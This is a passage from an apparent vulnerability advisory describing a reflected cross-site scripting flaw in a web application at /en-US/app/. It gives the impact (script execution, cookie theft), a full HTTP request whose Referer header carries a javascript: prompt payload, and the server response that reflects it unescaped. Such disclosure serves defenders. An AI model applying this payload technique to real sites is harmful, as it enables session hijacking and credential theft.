An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 2) Exploit: URL: http://justpentest.com:8000/en-US/app/ GET /en-US/app/ HTTP/1.1 Host=justpentest.com:8000 User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=en-US,en;q=0.5 Accept-Encoding=gzip, deflate Referer=javascript:prompt("XXS by justpentest"); Connection=keep-alive ---------------------------------------------------------------------------------------- Response: <p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p>
